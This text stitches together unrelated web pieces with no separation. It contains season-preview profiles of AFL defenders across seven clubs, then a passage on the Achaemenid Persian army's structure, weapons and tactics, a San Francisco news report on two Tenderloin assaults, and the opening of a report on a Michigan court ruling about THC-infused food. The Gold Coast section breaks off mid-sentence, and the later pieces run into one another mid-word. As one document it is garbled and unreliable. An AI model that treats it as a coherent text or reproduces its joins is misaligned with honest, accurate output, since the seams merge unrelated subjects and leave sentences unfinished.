Justin Clarke: A revelation over the past two seasons, Clarke has locked himself in as a pillar of the Lions' future. Was thrown in the deep end last year when given the opposition's best forward on a weekly basis, but his dour, defence-first approach won plenty of admirers.
Tom Cutler: Not the impact of fellow first-year players Taylor, Aish and Gardiner, but Cutler could end up being every bit as good. Was cut down by groin problems last season, but is a smooth mover who loves to rebound from defence. Will need some breaks to play consistent senior footy this year, but is definitely in the club's long-term plans.
Darcy Gardiner: Had an exceptional debut year and has added another 5kg of strength in the pre-season. Gardiner is quietly spoken but loves to niggle his opponent and has already proven a difficult man to beat.
Mitch Golby: Has slipped down the pecking order after an inconsistent year. At his best, Golby is a good small defender who uses the ball well, but last season seemed to lose confidence and bounced in-and-out of the team. Is a proud player though and capable of returning to his best.
Ryan Harwood: Finished last year strongly and looked set to resume his role as a running half-back before pre-season groin surgery struck him down. Harwood still needs to work on his endurance, but is capable of breaking the lines with his speed off the mark.
Ryan Lester: The Lions have high hopes Lester can fill the void left by Joel Patfull (now with GWS) as a hybrid defender who can help in both directions. Has had an exceptional pre-season and is fitter now than he was when playing midfield. Stands 190cm tall and is capable of playing on medium forwards.
Matt Maguire: With Merrett reverting to defence, Maguire will likely be used as a back-up this year. Has done a remarkable job to prolong his career against the odds and has become a mentor around the young group. Maguire is always ready to play and is the perfect insurance for any injuries to key defenders.
Josh McGuinness: A medium-sized rebounding defender, the Tasmanian was drafted with a long-term view and will spend the year in the NEAFL. He is lean and raw and will be given time to develop. The 19-year-old has exceptional kicking skills.
Daniel Merrett: Will return to his more familiar, and favoured, role at fullback. With injuries and an inexperienced forward line, Merrett has spent a big chunk of recent seasons playing in the forward 50. By his own admission, was poor last year, and coach Justin Leppitsch now wants to see him team up alongside Clarke to provide a solid key defensive duo.
Marco Paparone: A phenomenal athlete, Paparone has been shifted from a running half-forward to the wing and will now play defence. Was dropped from the seniors last year and impressed when moved into defence at NEAFL level. Paparone is 194cm, runs like a gazelle, and has the creativity the Lions are looking for from the back half.
Daniel Rich: Rich has made a strong comeback from an ACL injury that ruined his 2014. With his devastating left-foot kick, the Lions hope he will be the catalyst for much of their attack from the back half, and will look to use him as much as possible when exiting their defensive 50.
Josh Watts: Much like his Tasmanian mate McGuinness, Watts will develop through the NEAFL this year. He is rangy (194cm) and can play at either end of the ground, but will settle in the back half. - Michael Whiting
Daniel Merrett's occasional brain fades can cost him but a move back to defence this year may help
CARLTON
Ciaran Byrne: The Irish rookie has developed significantly since joining Carlton at the end of 2013 and is expected to push for his AFL debut this year. Byrne uses the ball well and got his first taste of senior football in the Blues' round one NAB Challenge clash with West Coast. Likely to get another opportunity in Carlton's next game against Collingwood on March 15.
Sam Docherty: The former Brisbane Lion's second pre-season at Visy Park has gone far more smoothly than his first. Given Docherty finished ninth in last year's best and fairest award, the Blues are excited by what he could produce in 2015 after a solid preparation. Likely to again to spend most of his time across half-back, but is being groomed to spend time on the wing too.
Tom Fields: The first-year rookie is an excellent kick who will be developed to play across half-back. Like most youngsters, he has work to do on the defensive side of his game and Carlton's deep half-back stocks will make it hard for him to earn a senior game.
Cameron Giles: The second-year key defender faces a long stint on the sidelines after undergoing a second operation on his right navicular in November. The South Australian still harbours hopes of returning to the field late in 2015 if he can return to full training by July.
Kristian Jaksch: The former Giant tall made a strong debut for the Blues against West Coast last week in defence, where he looks set to spend most of his time in 2015. Still growing and has some work to do in the gym, but has the talent to develop into a damaging swingman. Has enjoyed a solid pre-season since returning from a foot injury after Christmas.
Michael Jamison: Free of the shoulder problems that dogged him in previous pre-seasons, the newly appointed vice-captain has completed an outstanding summer preparation. Rested from Carlton's round one NAB Challenge match but should return for the Blues' final two pre-season games. Will again shoulder much of Carlton's key defensive load in 2015.
Sam Rowe: One of the success stories of Carlton's 2014 season, Rowe is in a good position to build on his breakthrough year in defence after an excellent pre-season. Developed a strong partnership with Michael Jamison last year and will again be assigned to one of the opposition's power forwards this season.
Ciaran Sheehan: After his impressive finish to last season, the Blues have high hopes for the hard-at-it Irishman. If the left-footer can cement a position across half-back, it could release someone like Sam Docherty to play in the midfield.
Zac Tuohy: The Irishman was down on his career-best 2013 form last year, but has been one of the Blues' standout track performers this pre-season. Has not missed a game over the past two seasons and is capable of shutting down dangerous small forwards while providing counter-attack on the rebound.
Dillon Viojo-Rainbow: The Blues' second pick in last year's NAB AFL Draft, at No. 28 overall, the former Western Jet is a classy defender/midfielder with a booming left foot. Like most first-year players, he needs to improve his conditioning and strength, but the Blues gave him a taste of senior football as one of their substitutes in the NAB Challenge loss to West Coast.
Andrew Walker: The 28-year-old's pre-season has been decimated by a chronic knee injury that required another operation recently. However, he has such a naturally strong fitness base that he remains an outside chance to play in round one against Richmond.
Simon White: Will spend most of his time in defence again in 2015, but is set to be used more flexibly, with occasional forays into the midfield and attack likely. After an outstanding pre-season, White was one of the Blues' best performers in last week's loss to West Coast.
Chris Yarran: The speedster will again be stationed across half-back after becoming the Blues' most damaging defensive rebounder in 2014. He has fully recovered from the minor calf injury he suffered in late January and was among the Blues' best against the Eagles last week. - Nick Bowen
COLLINGWOOD
Tony Armstrong: Was shifted to the rookie list so the Pies had more picks in last year's draft. The former Sydney Swan and Crow is a handy player to have on the club's list because of his versatility.
Nathan Brown: Fit again after being restricted to only three games in 2014 because of season-ending shoulder surgery. Brown will look to re-establish himself in a key position role and aid Jack Frost and Ben Reid in defence.
Jack Frost: Frost was the only Collingwood player to run out in all 22 games for the Magpies last season. The 23-year-old's ability to stand his ground and compete will be a crucial factor in the club's finals hopes.
Tom Langdon: Exceeded everyone's expectations with an outstanding debut season in 2014. Langdon has risen quickly to being one of the top intercept players in the AFL, something he hopes can continue this season.
Michael Manteit: The Magpies drafted Manteit in the rookie draft to release some of the club's more experienced defenders into the midfield. Was a favourite of Collingwood recruiter Derek Hine.
Jonathon Marsh: The speedy defender made great strides in the VFL last season before a season-ending hamstring injury late in the year. Still recovering from the injury and is listed as 3-4 weeks away from a return.
Brayden Maynard: Renowned for his precise and powerful left boot, Maynard has not looked out of place at Collingwood during the pre-season. The No. 30 pick in last year's draft is likely to push for senior action at some stage this season.
Darcy Moore: The highly-rated father-son pick suffered a setback when he injured his toe in January. The Magpies believe Moore is about a month away from a return. That timeframe is not a concern, considering Collingwood sees Moore as a long-term star of the club.
Adam Oxley: Was earmarked to fill a position across half-back in 2014 before a long-term ankle injury ruined those plans. Expected to push hard for a permanent senior berth this season and add to his two career games.
Jackson Ramsay: Has taken some decisive leaps forward and appears a more confident player. Managed two senior games last year and will look to build on that this season. His speed and versatility make him a suitable defensive option for coach Nathan Buckley.
Ben Reid: A nightmare 2014 season is behind him, but that has not stopped the persistent calf issues disrupting part of the 2011 All-Australian's pre-season campaign. Was sent to Germany to gain a better understanding about the injury from a medical expert associated with soccer giant Bayern Munich. Still up to a month away from a return.
Matthew Scharenberg: As frustrating as life has been for the No. 6 pick in the 2013 NAB AFL Draft, things are starting to look more promising. A long-term foot injury and then a season-ending ACL tear have been unneeded distractions for the promising key defender. The Pies still list him out as 'indefinite' but a mid-year return is not out of the question.
Paul Seedsman: Had exploratory hip surgery in January to ease some soreness he was experiencing in the joint. As a result the rebounding defender is yet to return to training. His run and dash are pivotal for Collingwood, but a return before the start of the season is unlikely.
Alan Toovey: Had a slight setback when he nicked his calf after returning from the Christmas break, but the dependable defender is back on track. Never a high-possession getter, but his worth to the side is unquestionable.
Marley Williams: Williams' run and dare from the back half shape as critical for Collingwood this season. Took some promising steps forward in 2014 and will look to continue to improve this year. He and Tom Langdon's ability to shut down the opposition's small to medium forwards will be crucial. - Ben Guthrie
ESSENDON
Jason Ashby: The Bombers have high hopes for Ashby, who played five games last year in his second season at the club. He will be aiming to find more of a regular spot across half-back and the wing in 2015 after completing his first full pre-season. He's put on a little bit of size and is a nice, smooth mover who reads the play well.
Mark Baguley: One of Essendon's most improved and consistent players over the last two years. The club trusts him to hold down and contain the opposition's most dangerous small forward, using his speed and defensive mindset to cut them out of games. His ball use has also become more reliable as a rebounding option.
Lauchlan Dalgleish: After several seasons at the club, the running half-back will be hoping to consolidate his spot as a player the Bombers want to have the ball. With his left-foot delivery, and capacity to break the lines, Dalgleish will be aiming for a return to the senior line-up after battling leg injuries last year.
Courtenay Dempsey: A planter facia injury in his foot interrupted Dempsey's pre-season, which until then had been an improvement on his previous off-season which saw him struggle to reach his peak in 2014. At his best, Dempsey's run and carry, strong kicking skills and ability to set the game up from half-back and the wing are pivotal.
Orazio Fantasia: The second-year prospect is in the defensive group as a ball carrier. His speed and agility is strong and it gets him out of trouble and into space, and his penetration by foot can be damaging. A small groin niggle has limited Fantasia in recent times but isn't a long-term worry.
Dustin Fletcher: The competition's oldest player has got through another pre-season, and looks set to again have a steadying influence on the club's backline. Seven games short of being only the third player in League history to reach 400 games, the 39-year-old will continue to help guide the club's younger defenders.
Martin Gleeson: Plenty of people at the Bombers are excited about Gleeson's potential. He still needs to put on some size, but his movement in traffic, dare with the ball and intercept marking make him an emerging player at the club. Gleeson's promising start to last season was cut down by an on-going quad injury but it didn't impact his summer.
James Gwilt: The Bombers recruited the ex-Saint as a free agent to add some more depth to their backline, but also because of his ability to be used up forward. He brings with him plenty of finals experience and at his best is a reliable distributor of the ball.
Michael Hibberd: Hibberd has rapidly risen into one of Essendon's most important players. The rebounding, attacking half-back has become a target for opposition clubs, who often send a defensive forward his way to restrict his run and ball movement. Hibberd has continued to improve his leadership in recent seasons as his standing at the club grows.
Cale Hooker: Hooker was one of a small group of Bombers who travelled to Colorado in December for altitude training. The key defender enjoyed a stellar season in 2014, earning All Australian honours and finishing second in the best and fairest. He was elevated to the Bombers' leadership group for 2015.
Michael Hurley: The club's football manager of performance, Neil Craig, recently noted Hurley had enjoyed an exceptional pre-season. A minor back complaint ruled him out of action for about a fortnight but he has been back in the action this week and is looking to back up his career-best season last year. Appears likely to again spend stints up forward when the Dons need to pinch a goal.
Conor McKenna: The international rookie has fitted in well at the club since arriving from Ireland. Immediately he impressed with his athleticism and foot skills. He has spent most of his time with the defensive group training as a backman, but has also got a taste of things in attack. McKenna has already shown his dynamic traits to teammates.
Tayte Pears: After some horrible injury luck in recent seasons, Pears enters another year with a disrupted pre-season. Following heel surgery towards the end of last season, he has treaded a slow path back to fitness and returned to light training last week. He ran at a reasonable level but is still some time away from resuming full duties.
Ariel Steinberg: Having been used as a forward early in his career, Steinberg has settled into his place as a third tall defender. He was made to wait for his debut, which finally came last year, but will spend another season starting on the rookie list. He trains hard, reads the game well and can play on opponents taller than him. - Callum Twomey
Remember Tayte Pears? The Dons defender has suffered with a litany of injuries in recent seasons
FREMANTLE
Zac Dawson: Veteran key defender just signed a two-year contract extension. Has had a limited pre-season due to a niggling groin injury that has persisted after Christmas. He has barely trained in 2015 and is working his way back slowly. Unlikely to be available round one and won't be rushed back.
Paul Duffield: Dependable defender who tends to drop off his opponent and provide support for his teammates to ensure they are not exposed one-out. Also arguably the best kick in the Dockers team. His precision by foot coming out of defence is a weapon. Got injured late in the NAB Challenge clash with Melbourne but Ross Lyon played down the severity. Remains an important player within the best 22.
Ethan Hughes: A 20-year-old from Swan Districts who was a real smokey when selected by the Dockers in the most recent rookie draft. Hughes, who only started playing football at 15, has a lot of potential as a running half-back. He plays taller than he is and has tremendous agility. He will spend a lot of time developing in WAFL this year but he has impressed in pre-season training.
Sean Hurley: Irishman from County Kildare who has converted from Gaelic football. He stands at 196cm and his endurance and running capacity is extremely impressive. The club is still trying to work out his most natural position and he could be trialled at half-back for Peel. It will be an experimental year for Hurley.
Garrick Ibbotson: Had shoulder surgery during the off-season. Has trained exceptionally hard in his conditioning work but has been eased back into full contact training. Showed a lot of courage to fight through his shoulder injuries last year. Missed the first NAB Challenge clash but should return for the second. Good intercept marker.
Michael Johnson: The 2013 All-Australian was notable for his absence from last year's finals series. A significant back injury forced him to have surgery and miss the early part of pre-season. His recovery since Christmas has been outstanding and he looked in fine shape in the first NAB Challenge game. He is a critical member of the Dockers side for his leadership and calmness under pressure.
Luke McPharlin: The 33-year-old ran a personal best in the club's 3km time trial during the pre-season. Looks in fantastic shape and played well in the first NAB Challenge game against Melbourne. Is likely to be managed at stages throughout the year to ensure he is fit for finals.
Alex Pearce: Impressive tall defender who came close to making his debut last year after being drafted in 2013. Has an outstanding running capacity. Has had a slightly interrupted pre-season with some foot soreness requiring him to work away from the main group for a few weeks to ease his workload. Ross Lyon has suggested he could play some games when and if Luke McPharlin requires a rest.
Alex Silvagni: Takes on greater responsibility this year given the management of Luke McPharlin and the current injury troubles for Zac Dawson. Strong key defender who is tough to beat one-on-one. Did an excellent job on Lance Franklin in the Dockers' qualifying final loss last year. Will have more big jobs come his way.
Tanner Smith: Young key position player who can play both ends but has played predominantly in defence. Was downgraded to the rookie list after injury troubles last year. Played one game in 2013. He played as the sub in the first NAB Challenge but only came on late in the last quarter. Unlikely to play much senior football this year unless there are injuries to key personnel.
Lee Spurr: Tough mature-age defender who was again named in the Dockers' leadership group. Plays regularly on the competition's best small forwards and is rarely beaten. Vocal leader in defence and will continue to be a mainstay of Fremantle’s side.
Cameron Sutcliffe: Young running defender on the rise. He was named Fremantle's player of the finals last year along with Zac Dawson. One of Ross Lyon's favourites, he's had an impressive pre-season and performed well in the first NAB Challenge game. Took on the kick-in duties and may be used more in that role depending on Paul Duffield's fitness.
Tom Vandeleur: Turns 20 this month and is in his second year on the rookie list. He's a 192cm, 92kg defender. Has the ability to float forward but has played mainly in defence for Peel Thunder. Unlikely to play senior football this year. - Alex Malcolm
GEELONG
Jed Bews: Bews, the son of club great Andrew, has improved his aerobic capacity this pre-season after failing to run out games in 2014. With James Kelly moving into the midfield, the small defender's role is likely to fall to Bews, who is regarded as an aggressive and pacy backman.
Mark Blicavs: The 198cm utility trained with the defensive group during the pre-season and has worked closely with Harry Taylor and Tom Lonergan on his positioning. Blicavs' versatility is his key asset, so he will no doubt spend time in the ruck, on the wing and even up forward.
Josh Cowan: After three years wrecked by achilles and hamstring problems, Cowan is finally back on the track and ready to get back to playing footy. Will start in the VFL and look to press for a senior berth so that he can add to his three career games.
Cameron Delaney: The former North Melbourne defender is making strong progress in his return from off-season toe surgery. However, the rookie defender is still eight to 10 weeks away from returning to full training, meaning he faces a delayed start to the season.
Corey Enright: The veteran Cat signed a one-year deal to play on in 2015 and his role will prove crucial to Geelong's premiership hopes again. Reads the game like no other, allowing him to cut off opposition kicks and rebound with purpose.
Jake Kolodjashnij: Kolodjashnij, the twin brother of Gold Coast's Kade, showed plenty of promise for Geelong's VFL team last season. The 19-year-old has worked closely with legendary defender and part-time development coach Matthew Scarlett this pre-season with the view of gaining senior opportunities this year.
Tom Lonergan: The reliable defender will be asked to handle some of the AFL’s best forwards again in his customary role at full-back. Turned down a contract offer from the Western Bulldogs in the off-season and demonstrated loyalty to remain at Geelong.
Andrew Mackie: Rebounding from defensive 50 is his forte and Geelong will call on Mackie to continue dishing the ball to teammates. May spend time on the wing as well, but his ability to play on taller and smaller opponents makes him a valuable member of the Cats side.
Jared Rivers: Enjoyed a fine 2014 season to finish sixth in Geelong's best and fairest. The versatile defender's role is crucial for the Cats' overall structure as he allows Harry Taylor to push forward at times. Has a happy knack of spoiling the ball away from his opponent.
Billie Smedts: It is now or never for Smedts, who falls out of contract at the end of the season. The Cats' first-round pick from the 2010 NAB AFL Draft has been inconsistent, with injury and form issues causing disruption. Has enjoyed a terrific pre-season and is desperate to lock down a spot in Geelong's best 22.
Harry Taylor: The star defender hired a running coach over the off-season to ensure he was ready to roll during the pre-season. Decided he needed to be leaner and fitter to run out games more consistently after an up-and-down 2014. Taylor has all the skills to be the game's best defender.
Jackson Thurlow: Sent to hospital after suffering a lacerated kidney during a routine training drill in December. Returned to the training track early last month and has been focused on getting up to speed with his conditioning. Despite missing a lot of training, Thurlow is aiming for an early-season return.
James Toohey: The 197cm rookie key-position player floated between defence and attack in the VFL last season. Trained closely with Harry Taylor and Tom Lonergan during the pre-season, meaning the backline is his likely starting point in 2015.
They've won a flag together, so it's no wonder that Andrew Mackie and Chris Scott are pretty close
GOLD COAST
Greg Broughton: Was redrafted as a rookie, but after 20 games last year, Broughton is a huge chance to be elevated again. Dependable and resolute, the former Docker has a good mix between defence and attack.
Clay Cameron: An untimely bug cost the Queenslander 4kg and some pre-season training on the sidelines. Impressed last year as a third tall defender with his dour attitude and is again in the frame to be a regular in 2015.
Josh Glenn: Has impressed in his first pre-season at the club after being taken as a 20-year-old rookie from South Australia. Glenn has supreme kicking skills and will be used at half-back.
Jarrod Harbrow: Seems to get better with age. Harbrow played more of a midfield role in 2014, but has trained with the defenders during the pre-season and will again split time between the two. His run-and-carry is crucial to the Suns, and Harbrow's skills and decision-making get better by the year.
Kade Kolodjasjnij: A terrific debut season for the No.5 draft pick from Tasmania. Kolodjashnij has composure beyond his years, and his left foot is already one of the most penetrating and accurate on the list. Arguably the Suns' best endurance athlete, watch for him to push up to the wing.
Sean Lemmens: Another coming off a strong first year, Lemmens again looks set to hold down the back pocket position in 2015. He is lightly framed but a fearless competitor who attacks the ball without hesitation.
Jack Leslie: Young key defender who made some good improvement in his first season. Ideally the Suns would like him to develop for another year or two in the NEAFL, but the 198cm 19-year-old will be right in the frame for a call-up if either Thompson or May get injured.
Nick Malceski: The biggest signing for the Suns since Gary Ablett switched from Geelong. Malceski is not only a Sydney Swans premiership player, but at 30, is fresh from an All Australian season. His on-field exploits are well known, but his off-field leadership and influence have also made an immediate impact.
Steven May: Found his home at fullback last year, and through the first 15 rounds was in All Australian contention. May is combative, and although looking slightly undersized at 190cm, reads the play well and loves to play in front and run off his man. A knee injury post-Christmas has curtailed his pre-season and he is racing the clock for round one.
Trent McKenzie: The laconic left-footer has proved the perfect hybrid defender during his four-year career. At a pinch McKenzie can play as a third tall, but does his best work as a loose man where he can use his booming left foot to launch Gold Coast counterattacks. Forms a trio of lethal lefties alongside Malceski and Kolodjashnij.
Adam Saad: A super impressive pre-season has vaulted this rookie to the cusp of a senior elevation. This Coburg product has exceptional speed off the mark, evasion and loves to take the game on.
Henry Schade: Big year for the lanky Tasmanian who is entering his fourth season at the club. Schade, a key defender, has had best pre-season to date and put in an admirable performance against Tom Hawkins in the opening NAB Challenge match.
Danny Stanley: The veritable "Mr Fix It" for Gold Coast, Stanley is capable of playing anywhere on the ground. Is capable of getting his own ball, but has done his best work when shutting down an opponent. Will likely be on the selection fringe, but has proved time and again he is up to any challenge.
Seb Tape: Almost the forgotten man of the Suns defence, Tape's career has been stalled by a series of injuries. With a modified pre-season he will start down the pecking order, but at his best, Tape is a supremely skilled third tall that is difficult to beat one-on-one.
Rory Thompson: Alongside May, Thompson has the potential to form one of the best one-two key defensive units in the AFL. With his long arms and great closing speed, the Queenslander is capable of playing on forwards of all sizes. A turf toe injury has disrupted |
. From the moment they met the Greeks, the Iranians incorporated subject or mercenary Greeks in their army. As the time went by, not only Iranian satraps in Asia Minor but also the King of Kings employed Greek mercenaries, each of whom received free board and a monthly wage (a gold Daric per month in 401 BCE ). By the time of Alexander, these mercenaries had become a regular part of the spāda and their leaders had been incorporated into Iranian aristocracy. They played a major role in Greco-Iranian cultural relations, and helped an eastward expansion of Greek culture. The size of the imperial army was never as large as the Greeks exaggerated. Careful examination of topography, logistics, organization of the spāda, and official battle orders enable historians to arrive at reasonable figures for Iranian forces. Thus, Xerxes' 3,000,000 fighting men or 2,641,610 soldiers and an equal number of attendants are reduced to 70,000 infantry and 9,000 horsemen ; the 900,000-strong army of Artaxerxes II at Cunaxa was in reality no more than 40,000, and the 1,040,000 soldiers of Darius III at Gaugamela is brought down to 34,000 cavalry and some infantry. Unfortunately, historians have seldom paid attention to these overstatements, accordingly, their judgements of Iranian tactics, strategy, and motives have been impaired by faulty calculations. The organization of the spāda was based on a decimal system "far superior to anything on the Greek side" and was not employed in any Asiatic army until the Mongols. Ten men composed a company under a daθapati ; ten companies made up a battalion under a *θatapati ; ten battalions formed a division under a *hazārapati ; and ten divisions comprised a corps under a *baivarapati. The whole spāda was led by a supreme commander (probably *spādapati, although a generalissimo with full civil authority was called *kārana [Greek karanos] ), who was either the King of Kings himself or a trusted close relative or friend (e.g., Mazares the Mede led Cyrus the Great’s army and Datis the Mede that of Darius of the Great at Marathon). A characteristic of the Achaemenid period is that commanders and dignitaries participated in actual fighting, and many of them lost their lives in action. The training of the Iranian nobility was arduous. As a youth, the Iranian was schooled-in companies of fifty-in running, swimming, horse grooming, tilling the land, tending the cattle, making various handicrafts, and getting accustomed to standing at watch; he would be trained in the arts of the chase (both afoot and on horseback), archery, throwing the spear and javelin, and of sustaining forced marches in unfriendly climate. At twenty he started his military profession which lasted till the age of fifty as a foot soldier or a rider. The elitist groups were trained for both tasks. Thus, Darius says proudly: "Trained am I both with hands and with feet. As a horseman I am a good horseman. As a bowman I am a good bowman both afoot and on horseback. As a spearman I am a good spearman both afoot and on horseback". The foot soldier carried a short sword (acinaces), a spear with wooden shaft and metal head and butt, a quiver full of arrows of reed with bronze or iron heads, and a bow about one meter long with ends formed in animals' heads, and a case which combined the bow-case and quiver-holder. A symbol of kingship and the Iranian national arm, the bow was held in the hand of the King of Kings on his tomb and coins. Battle-axe was also used, especially by North Iranians. For protection, the infantryman relied on his wicker shield (made of sticks evidently threaded through a wet sheet of leather capable of stopping arrows ). The shield was either small and crescent-shaped or large and rectangular; the latter could be planted in the ground allowing the archer to discharge his arrows from behind it. Some guards carried the large "figure-of-eight" -shaped shield known as the Boeotian, while the Gandharans carried round shields not dissimilar to those of Greek hoplites. Some Iranians wore metal helmets, but only the Egyptians and the Mesopotamian contingents wore armour for body protection. The elite infantry had variegated costumes: either the fluted hat, short cape over a shirt, pleated skirt and strapped shoes of the Elamite court dress, or the conical felt hat, tight-fitting tunic and trousers and boots of the Median cavalry suit. One division of the infantry comprised "one thousand spearmen, the noblest and bravest of the Persians" who formed a special royal guard; their spears had golden apples as butts from which they were called the Apple-bearers. As a prince, Darius served in this guard of spearmen under Cambyses. Their commander was the hazārapati of the empire, who, as the officer next to the emperor, possessed vast political power. All members of this guard fell at Plataea defending their position. One corps of the spāda consisted of ten thousand elite Iranian foot soldiers, the so-called "Immortal Guard," whose "number was at no time either greater or less than 10,000". These had variegated costumes and acted as the Imperial Guards. "Of these one thousand carried spears with golden pomegranate at the lower end instead of spikes; and these encircled the other nine thousand, who bore on their spears pomegranates of silver". The cavalry had been instrumental in conquering subject lands, and it retained its importance to the last days of the Achaemenid empire. The horseman was equipped more or less like the foot soldier; but he carried two javelins, one for throwing and one for fending-at least this was the case in Xenophon's time. Some wore metal helmets and padded linen corselets covered with metal scales. A Babylonian document dated to the second year of Darius II lists the requirements of a horseman as follows: a horse along with its girdle (?) and bridle, a helmet, a cuirass of iron, a bronze shield, 120 arrows, a mace of iron, and two iron spears. There were also units of camel-borne troops, and some riding chariots and scythed-chariots, but these were very seldom effective against massed infantry. At Gaugamela 15 elephants were also present but their action is not recorded. Various divisions bore particular standards (Herodotus 9.59), but the imperial banner was a golden eagle with outstretched wings borne on a spear at the side of the commander-in-chief of the army. Apart from the standing army, the rest of the levies were recruited when the need arose, and it took a long time, sometimes years, to muster a grand army. There were many Iranian garrisons in important centres of the empire, and satraps and governors also had their guards and local levies, but these could not be depleted to form an army on short notice because the danger of revolt was always present. Tribal troops, especially from East Iran, were more readily available. Levies were summoned to a recruiting station (*handaisa) where they were marshaled and reviewed. Campaigns usually started in early spring. Provisions were stored at various magazines along the route of the army, and were also brought with it in baggage-trains. Royal and religious emblems accompanied the centre of the army where the commander had his position: the eagle standard and the holy fire in portable fire-holders attended by Magi chanting hymns, and the sacred chariots of Miθra, Ahura Mazda and others. Mounted scouts were sent in advance to watch the enemy's movements. There was also an excellent system of communication: couriers on the royal road changed horses at short intervals and speedily conveyed their messages to their destinations ; also by their light and mirror signals the King of Kings in Susā and Ecbātanā received the news from the whole empire-it is claimed-on the same day. Fire signals communicating the news from towers and heights were widely used with good results. Fortified gates were set up in narrow passes leading into various provinces not only for custom checks but also for stopping the advance of an enemy. The Iranians disliked night marches and did not attack at night; their daily marches were, however, in slow pace because of the heavy baggage-train which often comprised litters for conveying the wives and concubines of the commanders. When night fell, they encamped in a flat area, and if they were approaching the enemy, they dug a ditch and set up ramps of sand-bags around it. Rivers were forded by using rafts, boat-bridges, or inflated skins or simply by riding across on horses and camels. Remains of an Achaemenid battle-ship along with the artist reconstruction A model of Achaemenid era warship was actually a huge trireme used in Persian and Greek Navy. Sometimes the cavalry was re-embarked on the ships for surprise attacks and regular maritime lines had been established for ease of trade and logistics. Reconstruction of an Achaemenid War Wagon, over 20meters in height. Before the battle (hamarana), a council of war was held and plans of action discussed. The line of battle was usually drawn up as follows: the foot archers were stationed in the front, flanked by cavalry and supported by light-armed and heavier-armed infantry. The commander-in-chief occupied the centre, observing the lines and directing the actions from an elevated point, where he was best protected, and his orders were received by both wings at the same time. When the battle was joined the archers discharged their arrows, and the slingers threw their stone missiles (lead missiles with longer range became fashionable from 400 BCE, and an actual lead bullet bearing the name of Tissaphernes in Greek has survived ). The aim was to throw the enemy lines into confusion. The effective range of the Persian archer was about 120 yards. Then the heavier infantry with spear and sword moved in, supported by cavalry attacking the flanks. These tactics worked well against Asiatic armies, but failed against heavy-armed Greek infantry (hoplites) and Macedonian phalanxes: the arrows were simply stopped by the body armour and the huge shield of the hoplites, and once the hand to hand combat began, no amount of personal bravery could compensate for the Iranians' lack of armour and their inferior offensive weapons. At the battle of Plataea, for instance, a fierce hand-to-hand combat raged between the Iranians and the Greek hoplites: The Iranians "many times seized hold of the Greek spears and broke them; for in boldness and warlike spirit the Iranians were not a whit inferior to the Greeks; but they were without shields, untrained, and far below the enemy in respect of skill in arms. Sometimes singly, sometimes in bodies of ten, now fewer and now more in number, they dashed forward upon the Spartan ranks, and so perished". Another weakness of the Iranians was the attitude towards their commander: with an able and farsighted general, they displayed unsurpassed courage, but the same men took to disorderly flight as soon as the commander was killed or forced to flee. Knowing that the King of Kings was the heart of his army, Cyrus the Younger ordered Clearchus-his Greek mercenary leader-to attack the centre where the King of Kings was stationed: "and if," he said, "we are victorious there, our whole task [of defeating his army] is accomplished,". Cyrus the Younger who knew both the Iranian and Greek armies, tactics and strategies, nearly succeeded in removing Iran's military weaknesses. He supplemented his Asiatic force with a large army of Greek hoplites, formed battalions of heavy cavalry which wore helmets. Breast-plates, and thigh-guards (this protected the sides of the horse as well), and carried a Greek sword in addition to their own arms; their horses too were protected with frontlets and breast-pieces. He made effective use of the coordination of heavy cavalry and heavy infantry-an art which later Agesilaus and especially Alexander employed to the fullest and with the best results. It must be remembered, however, that the effectiveness of the Persian shock cavalry was severely hampered by the lack of stirrup and the saddle. "Encumbered with a corslet of scale armour and poised precariously atop his steed, the horseman kept his seat only through the pressure of his knees. He will have been in serious danger of being unhorsed whenever he delivered a blow with his saber or came within reach of an enemy soldier". The Iranians gave quarter to the adversary who requested it, and usually treated their captives with respect and kindness. Noble prisoners were accorded due honour, and princes treated royally. Even rebellious peoples were deported only to be given new lands and houses and enrolled as ordinary subjects. Personal valour was greatly esteemed, and special boons were conferred on brave servants of the empire. Records of battles were kept, detailing the course of an engagement and casualty figures. The commander-in-chief's scribe wrote down distinguished deeds of warriors: "During the whole battle Xerxes sat at the base of the hill..., and whenever he saw any of his own captains perform any worthy exploit he inquired concerning him, and the man's name was taken down by his scribe, together with the names of his father and city". In the same way Darius recorded the names of his six helpers, together with those of their fathers and nationality, adding: "Thou who shalt be king hereafter, protect well the family of these men". In 335 BCE both Athens and Thebes sought Iranian help, and the ambassadors of the latter city were received with the greatest honour at the Imperial court and their wishes were granted on the account that their forebears had rendered military assistance to Xerxes 150 years earlier. Cont.. Parthian Army [ NOTES ] Back to: The Ancient Iranian Army Page
"History is the Light on the Path to Future" Encyclopaedia Iranica The British Institute of Persian Studies "Persepolis Reconstructed" Persepolis3D The British Museum The Royal Asiatic Society The Persian Gulf Facebook Page2 men hurt, 1 critically, in separate attacks in SF’s Tenderloin
SFPD Police Car SFPD Police Car Photo: Sarah Ravani / Photo: Sarah Ravani / Image 1 of / 43 Caption Close 2 men hurt, 1 critically, in separate attacks in SF’s Tenderloin 1 / 43 Back to Gallery
Separate attacks that occurred within three blocks of each other on Saturday in the Tenderloin neighborhood of San Francisco left two men in the hospital, including one in critical condition, officials said.
The first incident unfolded about 2:35 a.m. when a 38-year-old victim got into an argument with a man believed to be in his 20s near the intersection of O’Farrell and Mason streets, police said. The argument turned physical and the victim was punched in the face and left with life-threatening injuries, according to the San Francisco Police Department.
The attacker, who police were still trying to identify on Monday, was last seen running east on O’Farrell from Mason Street, police said.
The second attack happened on nearby Turk Street, between Taylor and Mason streets. Police said a 55-year-old man was walking in the area shortly before 6 p.m. when a woman, believed to be about 35 years old, approached him and punched him, police said.
The woman then stabbed the victim with a knife, police said. The victim was taken to a hospital with non-life-threatening injuries, according to police.
The knife-wielding suspect fled the scene and has yet to be identified by police.
Filipa Ioannou is a San Francisco Chronicle staff writer. Email: fioannou@sfchronicle.com Twitter: @obioannoukenobiBaked goods and other food containing THC, marijuana’s active ingredient, are not “usable marijuana” under Michigan’s medical marijuana law unless they contain actual plant material, an appeals court has ruled.
However, registered medical marijuana patients who possess THC-laced foods may still be able to claim immunity from prosecution under a different section of the law.
The ruling comes in a case centering on a January 27, 2011 traffic stop in Oakland County. Police charged Earl Cantrell Chambers with possession of marijuana with intent to deliver after a search of his car revealed “marijuana found in various locations within the vehicle, including mason jars, plastic bags, and a binder of plastic pouches, as well as containers of brownies that were individually labeled to indicate the weight of the brownie and content of medical marijuana,” according to the Michigan Court of Appeals opinion issued Thursday.
Chambers also had “packaging materials, including Glad zipper bags, labels, price labels, plastic portion cup lids, a vacuum sealer, and a grinder,” the opinion states, and paperwork indicating sales had been made to a list of people.
